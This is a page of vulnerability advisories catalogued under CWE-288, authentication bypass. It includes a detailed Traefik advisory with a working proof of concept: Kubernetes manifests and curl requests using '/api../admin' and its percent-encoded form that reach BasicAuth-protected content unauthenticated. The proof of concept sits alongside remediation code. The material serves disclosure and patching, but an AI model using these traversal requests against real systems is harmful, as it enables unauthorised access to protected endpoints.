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Common Weakness Enumeration

CWE-288

Allowed

Authentication Bypass Using an Alternate Path or Channel

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product requires authentication, but the product has an alternate path or channel that does not require authentication.

1215 vulnerabilities reference this CWE, most recent first.

GHSA-8RH3-RVV2-3MR4

Vulnerability from github – Published: 2026-02-17 21:31 – Updated: 2026-02-17 21:31
VLAI
Details

A vulnerability in the management API of the affected product could allow an unauthenticated remote attacker to trigger service restarts. Successful exploitation could allow an attacker to disrupt services and negatively impact system availability.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-23596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-17T21:22:15Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the management API of the affected product could allow an unauthenticated remote attacker to trigger service restarts. Successful exploitation could allow an attacker to disrupt services and negatively impact system availability.",
  "id": "GHSA-8rh3-rvv2-3mr4",
  "modified": "2026-02-17T21:31:15Z",
  "published": "2026-02-17T21:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23596"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05002en_us\u0026docLocale=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8RQQ-PQ2C-29Q4

Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2026-06-03 15:30
VLAI
Details

Authentication Bypass Using an Alternate Path or Channel vulnerability in GST Electronics inohom Nova Panel N7 allows Authentication Bypass.This issue affects inohom Nova Panel N7: through 1.9.9.6. NOTE: The vendor was contacted and it was learned that the product is not supported.

Severity
9.9 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:H/S:P/AU:Y/R:U/U:Red
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{
  "affected": [],
  "aliases": [
    "CVE-2024-6684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T13:38:39Z",
    "severity": "CRITICAL"
  },
  "details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in GST Electronics inohom Nova Panel N7 allows Authentication Bypass.This issue affects inohom Nova Panel N7: through 1.9.9.6.\u00a0NOTE: The vendor was contacted and it was learned that the product is not supported.",
  "id": "GHSA-8rqq-pq2c-29q4",
  "modified": "2026-06-03T15:30:33Z",
  "published": "2024-08-12T15:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6684"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1194"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-24-1194"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:X/RE:X/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8RXV-JG7P-WVG3

Vulnerability from github – Published: 2026-08-06 16:45 – Updated: 2026-08-06 16:45
VLAI
Summary
Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass
Details

Summary

There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the nginx.ingress.kubernetes.io/rewrite-target annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path /api(.*) with rewrite target /$1), the generated RewriteTarget middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.8

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router. For example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow: 1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment. 2. The public router's `PathRegexp("(?i)^/api(.*)")` rule matches. 3. `RewriteTarget` captures `../admin` and creates `/../admin`. 4. The middleware forwards `/../admin` without checking whether path normalization changes it. 5. A backend that normalizes paths resolves `/../admin` to `/admin`. 6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth. This is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release. ## Severity **Proposed severity:** Critical **CVSS 3.1:** 9.1 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` - Attack vector: Network - Attack complexity: Low once the affected routing pattern exists - Privileges required: None - User interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: None **Primary weakness:** CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) **Secondary weakness:** CWE-288 — Authentication Bypass Using an Alternate Path or Channel The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower. ### Exploitation Preconditions - The Kubernetes Ingress NGINX provider is enabled. - A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`. - A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware. - The backend normalizes dot segments before dispatching the request. These are deployment prerequisites; the remote attacker needs no credentials or special timing. ## Affected Components ### Confirmed versions - Traefik v3.7.0 through v3.7.7 - Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195` - Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038` The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation. ### Code locations - `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274` - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration. - `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157` - Performs capture-based path rewriting and forwards the rewritten path without normalization validation. - `pkg/server/middleware/middlewares.go:346-353` - Instantiates the vulnerable middleware in the live HTTP chain. ## Root Cause The provider passes the route regex and annotation replacement into the middleware: 
loc.RewriteTarget = &dynamic.RewriteTarget{
    Regex:       loc.Path,
    Replacement: rewrite,
}
`RewriteTarget.ServeHTTP` then derives a path from attacker-controlled capture groups: 
newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)

req.URL.RawPath = newTarget
req.URL.Path, err = url.PathUnescape(req.URL.RawPath)
req.RequestURI = req.URL.RequestURI()

rt.next.ServeHTTP(rw, req)
There is no invariant check between `PathUnescape` and forwarding to ensure that `req.URL.Path` equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered. The core `ReplacePathRegex` middleware now enforces this invariant by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization changes the replacement. `RewriteTarget` implements equivalent capture-based behavior but lacks that check. Default `entryPoints..http.sanitizePath=true` does not prevent this issue. Sanitization occurs before routing and before `RewriteTarget` creates the traversal sequence. ## Impact An unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow: - reading administrative or sensitive data; - invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE; - bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router; - crossing intended public/protected path boundaries with one HTTP request. The middleware is method-agnostic, so the issue is not limited to read-only requests. ## Proof of Concept ### Validation Environment - Traefik v3.7.7 official Linux amd64 release - Release archive SHA-256 verified as `5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba` - Default `sanitizePath=true` - Node.js v24 backend - Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture No Traefik source files were modified. ### 1. Create the normalizing backend Save as `backend.js`: 
const http = require("http");
const path = require("path");

http.createServer((req, res) => {
  const rawPath = req.url.split("?", 1)[0];
  const normalizedPath = path.posix.normalize(rawPath);
  const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");

  const body = JSON.stringify({
    rawPath,
    normalizedPath,
    result: protectedPath ? "ADMIN_SECRET_DATA" : "PUBLIC",
  });

  res.writeHead(200, { "Content-Type": "application/json" });
  res.end(body);
}).listen(19090, "127.0.0.1");
Run it: 
node backend.js
### 2. Apply the Kubernetes objects The `ExternalName` service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service. 
apiVersion: v1
kind: Secret
metadata:
  name: basic-auth
  namespace: default
type: Opaque
stringData:
  auth: |
    admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: default
spec:
  type: ExternalName
  externalName: localhost
  ports:
    - name: http
      port: 19090
      targetPort: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: public-api
  namespace: default
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/use-regex: "true"
    nginx.ingress.kubernetes.io/rewrite-target: "/$1"
spec:
  rules:
    - http:
        paths:
          - path: /api(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: backend
                port:
                  number: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: protected-admin
  namespace: default
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/auth-type: basic
    nginx.ingress.kubernetes.io/auth-secret: basic-auth
    nginx.ingress.kubernetes.io/auth-realm: Authentication Required
spec:
  rules:
    - http:
        paths:
          - path: /admin
            pathType: Prefix
            backend:
              service:
                name: backend
                port:
                  number: 19090

kubectl apply -f poc.yaml
### 3. Run unmodified Traefik v3.7.7 
KUBECONFIG="$HOME/.kube/config" ./traefik \
  --entryPoints.web.address=127.0.0.1:18080 \
  --providers.kubernetesIngressNginx.watchNamespace=default \
  --providers.kubernetesIngressNginx.httpEntryPoint=web \
  --global.checkNewVersion=false \
  --log.level=DEBUG
Traefik generates the following relevant dynamic configuration: 
{
  "rule": "PathRegexp(\"(?i)^/api(.*)\")",
  "middlewares": ["...-rewrite-target"],
  "rewriteTarget": {
    "regex": "/api(.*)",
    "replacement": "/$1"
  }
}
The protected router separately contains a BasicAuth middleware and a `PathRegexp("(?i)^/admin")` rule. ### 4. Confirm authentication is enforced 
curl --path-as-is -i http://127.0.0.1:18080/admin
Observed: 
HTTP/1.1 401 Unauthorized
### 5. Exploit the traversal rewrite Plain variant: 
curl --path-as-is -i http://127.0.0.1:18080/api../admin
Observed: 
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
Percent-encoded variant: 
curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
Observed: 
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200. ## Remediation Apply the same post-rewrite normalization invariant used by the patched `ReplacePathRegex` middleware. After decoding `RawPath`, normalize a copy and reject the request if normalization changes `Path`: 
path := req.URL.Path
if path != "" {
    req.URL = req.URL.JoinPath()
}

if path != req.URL.Path {
    logger.Debug().Msgf(
        "Rejecting request, normalized path %q differs from rewritten path %q",
        req.URL.Path,
        path,
    )
    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

req.RequestURI = req.URL.RequestURI()
Recommended additional actions: 1. Centralize the post-transformation path validation used by `ReplacePathRegex`, `StripPrefix`, `StripPrefixRegex`, and ingress-nginx `RewriteTarget` to prevent future drift. 2. Add regression tests for `/api../admin` and `/api%2e%2e/admin`, expecting HTTP 400. 3. Test both `URL.Path` and `URL.RawPath` cases and preserve legitimate encoded-path behavior. 4. Audit the ingress-nginx snippet `rewrite` implementation for the same post-rewrite invariant. ### Temporary Mitigation Use a regex that requires a separator or end-of-path before captured user data, for example: 
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$2"

# Ingress path:
path: /api(/|$)(.*)
This prevents `/api../admin` from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point `sanitizePath=true` alone is not a mitigation because the dangerous dot segment is created after sanitization. ## Duplicate Check As of 2026-07-09: - Traefik's public security advisories contain no entry mentioning `RewriteTarget` or ingress-nginx `rewrite-target` path traversal. - Public issue and pull-request searches found no report for this path-normalization bypass. - GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes `pkg/middlewares/replacepathregex`, while this report affects `pkg/middlewares/ingressnginx/rewritetarget` and reproduces on the version that contains that fix, v3.7.7. ## Disclosure If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.
Severity
7.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:45:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Ingress NGINX provider. When an Ingress uses the `nginx.ingress.kubernetes.io/rewrite-target` annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path `/api(.*)` with rewrite target `/$1`), the generated `RewriteTarget` middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.\n\nFor example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow:\n\n1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment.\n2. The public router\u0027s `PathRegexp(\"(?i)^/api(.*)\")` rule matches.\n3. `RewriteTarget` captures `../admin` and creates `/../admin`.\n4. The middleware forwards `/../admin` without checking whether path normalization changes it.\n5. A backend that normalizes paths resolves `/../admin` to `/admin`.\n6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth.\n\nThis is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.\n\n## Severity\n\n**Proposed severity:** Critical\n\n**CVSS 3.1:** 9.1 \u2014 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n- Attack vector: Network\n- Attack complexity: Low once the affected routing pattern exists\n- Privileges required: None\n- User interaction: None\n- Scope: Unchanged\n- Confidentiality: High\n- Integrity: High\n- Availability: None\n\n**Primary weakness:** CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n**Secondary weakness:** CWE-288 \u2014 Authentication Bypass Using an Alternate Path or Channel\n\nThe practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.\n\n### Exploitation Preconditions\n\n- The Kubernetes Ingress NGINX provider is enabled.\n- A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`.\n- A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware.\n- The backend normalizes dot segments before dispatching the request.\n\nThese are deployment prerequisites; the remote attacker needs no credentials or special timing.\n\n## Affected Components\n\n### Confirmed versions\n\n- Traefik v3.7.0 through v3.7.7\n- Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195`\n- Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038`\n\nThe vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation.\n\n### Code locations\n\n- `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274`\n  - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration.\n- `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157`\n  - Performs capture-based path rewriting and forwards the rewritten path without normalization validation.\n- `pkg/server/middleware/middlewares.go:346-353`\n  - Instantiates the vulnerable middleware in the live HTTP chain.\n\n## Root Cause\n\nThe provider passes the route regex and annotation replacement into the middleware:\n\n```go\nloc.RewriteTarget = \u0026dynamic.RewriteTarget{\n    Regex:       loc.Path,\n    Replacement: rewrite,\n}\n```\n\n`RewriteTarget.ServeHTTP` then derives a path from attacker-controlled capture groups:\n\n```go\nnewTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)\n\nreq.URL.RawPath = newTarget\nreq.URL.Path, err = url.PathUnescape(req.URL.RawPath)\nreq.RequestURI = req.URL.RequestURI()\n\nrt.next.ServeHTTP(rw, req)\n```\n\nThere is no invariant check between `PathUnescape` and forwarding to ensure that `req.URL.Path` equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.\n\nThe core `ReplacePathRegex` middleware now enforces this invariant by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization changes the replacement. `RewriteTarget` implements equivalent capture-based behavior but lacks that check.\n\nDefault `entryPoints.\u003cname\u003e.http.sanitizePath=true` does not prevent this issue. Sanitization occurs before routing and before `RewriteTarget` creates the traversal sequence.\n\n## Impact\n\nAn unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:\n\n- reading administrative or sensitive data;\n- invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE;\n- bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router;\n- crossing intended public/protected path boundaries with one HTTP request.\n\nThe middleware is method-agnostic, so the issue is not limited to read-only requests.\n\n## Proof of Concept\n\n### Validation Environment\n\n- Traefik v3.7.7 official Linux amd64 release\n- Release archive SHA-256 verified as `5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba`\n- Default `sanitizePath=true`\n- Node.js v24 backend\n- Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture\n\nNo Traefik source files were modified.\n\n### 1. Create the normalizing backend\n\nSave as `backend.js`:\n\n```javascript\nconst http = require(\"http\");\nconst path = require(\"path\");\n\nhttp.createServer((req, res) =\u003e {\n  const rawPath = req.url.split(\"?\", 1)[0];\n  const normalizedPath = path.posix.normalize(rawPath);\n  const protectedPath = normalizedPath === \"/admin\" || normalizedPath.startsWith(\"/admin/\");\n\n  const body = JSON.stringify({\n    rawPath,\n    normalizedPath,\n    result: protectedPath ? \"ADMIN_SECRET_DATA\" : \"PUBLIC\",\n  });\n\n  res.writeHead(200, { \"Content-Type\": \"application/json\" });\n  res.end(body);\n}).listen(19090, \"127.0.0.1\");\n```\n\nRun it:\n\n```bash\nnode backend.js\n```\n\n### 2. Apply the Kubernetes objects\n\nThe `ExternalName` service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  name: basic-auth\n  namespace: default\ntype: Opaque\nstringData:\n  auth: |\n    admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: default\nspec:\n  type: ExternalName\n  externalName: localhost\n  ports:\n    - name: http\n      port: 19090\n      targetPort: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: public-api\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/use-regex: \"true\"\n    nginx.ingress.kubernetes.io/rewrite-target: \"/$1\"\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /api(.*)\n            pathType: ImplementationSpecific\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: protected-admin\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/auth-type: basic\n    nginx.ingress.kubernetes.io/auth-secret: basic-auth\n    nginx.ingress.kubernetes.io/auth-realm: Authentication Required\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /admin\n            pathType: Prefix\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n```\n\n```bash\nkubectl apply -f poc.yaml\n```\n\n### 3. Run unmodified Traefik v3.7.7\n\n```bash\nKUBECONFIG=\"$HOME/.kube/config\" ./traefik \\\n  --entryPoints.web.address=127.0.0.1:18080 \\\n  --providers.kubernetesIngressNginx.watchNamespace=default \\\n  --providers.kubernetesIngressNginx.httpEntryPoint=web \\\n  --global.checkNewVersion=false \\\n  --log.level=DEBUG\n```\n\nTraefik generates the following relevant dynamic configuration:\n\n```json\n{\n  \"rule\": \"PathRegexp(\\\"(?i)^/api(.*)\\\")\",\n  \"middlewares\": [\"...-rewrite-target\"],\n  \"rewriteTarget\": {\n    \"regex\": \"/api(.*)\",\n    \"replacement\": \"/$1\"\n  }\n}\n```\n\nThe protected router separately contains a BasicAuth middleware and a `PathRegexp(\"(?i)^/admin\")` rule.\n\n### 4. Confirm authentication is enforced\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 401 Unauthorized\n```\n\n### 5. Exploit the traversal rewrite\n\nPlain variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api../admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nPercent-encoded variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nThe direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.\n\n## Remediation\n\nApply the same post-rewrite normalization invariant used by the patched `ReplacePathRegex` middleware. After decoding `RawPath`, normalize a copy and reject the request if normalization changes `Path`:\n\n```go\npath := req.URL.Path\nif path != \"\" {\n    req.URL = req.URL.JoinPath()\n}\n\nif path != req.URL.Path {\n    logger.Debug().Msgf(\n        \"Rejecting request, normalized path %q differs from rewritten path %q\",\n        req.URL.Path,\n        path,\n    )\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n\nreq.RequestURI = req.URL.RequestURI()\n```\n\nRecommended additional actions:\n\n1. Centralize the post-transformation path validation used by `ReplacePathRegex`, `StripPrefix`, `StripPrefixRegex`, and ingress-nginx `RewriteTarget` to prevent future drift.\n2. Add regression tests for `/api../admin` and `/api%2e%2e/admin`, expecting HTTP 400.\n3. Test both `URL.Path` and `URL.RawPath` cases and preserve legitimate encoded-path behavior.\n4. Audit the ingress-nginx snippet `rewrite` implementation for the same post-rewrite invariant.\n\n### Temporary Mitigation\n\nUse a regex that requires a separator or end-of-path before captured user data, for example:\n\n```yaml\nnginx.ingress.kubernetes.io/use-regex: \"true\"\nnginx.ingress.kubernetes.io/rewrite-target: \"/$2\"\n\n# Ingress path:\npath: /api(/|$)(.*)\n```\n\nThis prevents `/api../admin` from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point `sanitizePath=true` alone is not a mitigation because the dangerous dot segment is created after sanitization.\n\n## Duplicate Check\n\nAs of 2026-07-09:\n\n- Traefik\u0027s public security advisories contain no entry mentioning `RewriteTarget` or ingress-nginx `rewrite-target` path traversal.\n- Public issue and pull-request searches found no report for this path-normalization bypass.\n- GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes `pkg/middlewares/replacepathregex`, while this report affects `pkg/middlewares/ingressnginx/rewritetarget` and reproduces on the version that contains that fix, v3.7.7.\n\n## Disclosure\n\nIf confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-8rxv-jg7p-wvg3",
  "modified": "2026-08-06T16:45:53Z",
  "published": "2026-08-06T16:45:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67309"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/759515bec1b9f628b21ea8968ef63da853be5e29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass"
}

GHSA-8V37-Q45V-WGRX

Vulnerability from github – Published: 2025-08-23 09:30 – Updated: 2025-08-23 09:30
VLAI
Details

The Case Theme User plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.0.3. This is due to the plugin not properly logging a user in with the data that was previously verified through the facebook_ajax_login_callback(). This makes it possible for unauthenticated attackers to log in as administrative users, as long as they have an existing account on the site, and access to the administrative user's email.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-5821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-23T07:15:32Z",
    "severity": "CRITICAL"
  },
  "details": "The Case Theme User plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.0.3. This is due to the plugin not properly logging a user in with the data that was previously verified through the facebook_ajax_login_callback(). This makes it possible for unauthenticated attackers to log in as administrative users, as long as they have an existing account on the site, and access to the administrative user\u0027s email.",
  "id": "GHSA-8v37-q45v-wgrx",
  "modified": "2025-08-23T09:30:22Z",
  "published": "2025-08-23T09:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5821"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/consultio-consulting-business-wordpress/25376496"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3ce95a04-11bd-488e-ad25-1b661e083eb2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8VQG-92MX-5P5H

Vulnerability from github – Published: 2025-07-02 09:30 – Updated: 2025-07-02 15:30
VLAI
Details

Nokia Single RAN AirScale baseband allows an authenticated administrative user access to all physical boards after performing a single login to the baseband system board. The baseband does not re-authenticate the user when they connect from the baseband system board to the baseband capacity boards using the internal bsoc SSH service, which is available only internally within the baseband and through the internal backplane between the boards. The bsoc SSH allows login from one board to another via the baseband internal backplane using an SSH private key present on the baseband system board.

